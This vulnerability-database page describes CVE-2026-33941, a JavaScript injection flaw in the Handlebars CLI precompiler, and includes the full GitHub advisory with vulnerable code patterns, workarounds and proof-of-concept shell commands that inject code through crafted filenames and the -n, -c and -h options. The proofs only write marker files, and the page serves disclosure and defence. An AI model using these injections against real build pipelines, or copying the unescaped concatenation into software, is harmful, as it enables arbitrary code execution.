CVE-2026-33941
highpriority · track · 33EPSS 0.003 · 22 %ileDEEURUUSEPSS · scored 2026-10-27
Handlebars provides the power necessary to let users build semantic templates. In versions 4.0.0 through 4.7.8, the Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Version 4.7.9 fixes the issue. Some workarounds are available. First, validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (`"`, `'`, `;`, etc.). Second, use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines. Third, run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation. Fourth, audit template filenames in any repository or package that is consumed by an automated build pipeline.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (13)
Products and version ranges known to be affected.
- Oracle REST Data Services 24.2.0-26.1.0all versionscert_bundDEcpe:/a:oracle:rest_data_services:24.2.0-26.1.0
advisories (4)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-1434IBM App Connect Enterprise Certified Container: Mehrere SchwachstellenDeutsch2026-05-07csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise Certified Container ausnutzen, um beliebigen Programmcode auszuführen, vertrauliche Informationen offenzulegen, einen Denial-of-Service-Zustand zu verursachen oder Cross-Site-Scripting-Angriffe durchzuführen.
- WID-SEC-W-2026-3655IBM InfoSphere Data Replication: Mehrere SchwachstellenDeutsch2026-09-29csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in IBM InfoSphere Data Replication ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen und um einen Cross-Site Scripting Angriff durchzuführen.
- WID-SEC-W-2026-4059Oracle REST Data Services: Mehrere SchwachstellenDeutsch2026-10-20csaf · cert_bundDE
Ein entfernter, anonymer oder authentisierter Angreifer kann mehrere Schwachstellen in Oracle REST Data Services ausnutzen, um die Vertraulichkeit, Integrität und Verfügbarkeit zu gefährden.
- GHSA-xjpj-3mr7-gcpfHandlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options2026-03-27ghsa · osvUS
## Summary The Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. ## Description `lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist: ### 1. Template name injection ```javascript // Vulnerable code pattern output += 'templates["' + template.name + '"] = template(...)'; ``` `template.name` is derived from the file system path. A filename containing `"` or `'];` breaks out of the string literal and injects arbitrary JavaScript. ### 2. Namespace injection (`-n` / `--namespace`) ```javascript // Vulnerable code pattern output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};'; ``` `opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement. ### 3. CommonJS path injection (`-c` / `--commonjs`) ```javascript // Vulnerable code pattern output += 'var Handlebars = require("' + opts.commonjs + '");'; ``` `opts.commonjs` is interpolated inside double quotes with no escaping, allowing `"` to close the string and inject further code. ### 4. AMD path injection (`-h` / `--handlebarPath`) ```javascript // Vulnerable code pattern output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)"; ``` `opts.handlebarPath` is interpolated inside single quotes, allowing `'` to close the array element. All four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser. ## Proof of Concept **Template name vector (creates a file `pwned` on disk):** ```bash mkdir -p templates printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars" node bin/handlebars templates -o out.js node -e 'require("./out.js")' # Executes injected code, creates ./pwned ``` **Namespace vector:** ```bash node bin/handlebars templates -o out.js \ -n "App.ns; require('fs').writeFileSync('pwned2','1'); //" node -e 'require("./out.js")' ``` **CommonJS vector:** ```bash node bin/handlebars templates -o out.js \ -c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //' node -e 'require("./out.js")' ``` **AMD vector:** ```bash node bin/handlebars templates -o out.js -a \ -h "'); require('fs').writeFileSync('pwned4','1'); // " node -e 'require("./out.js")' ``` ## Workarounds - **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (`"`, `'`, `;`, etc.). - **Use a fixed, trusted namespace string** passed via a configuration file rather than command-line arguments in automated pipelines. - **Run the precompiler in a sandboxed environment** (container with no write access to sensitive paths) to limit the impact of successful exploitation. - **Audit template filenames** in any repository or package that is consumed by an automated build pipeline.
also known as (4)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (15)
External citations — patches, advisories, analysis.
- https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2cnnvd
- https://github.com/handlebars-lang/handlebars.js/releasesPatchcnnvd
- https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9cnnvd
- https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpfcnnvd
- https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2enisa_euvd
- https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9enisa_euvd
- https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpfenisa_euvd
- https://access.redhat.com/errata/RHSA-2026:10175nvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan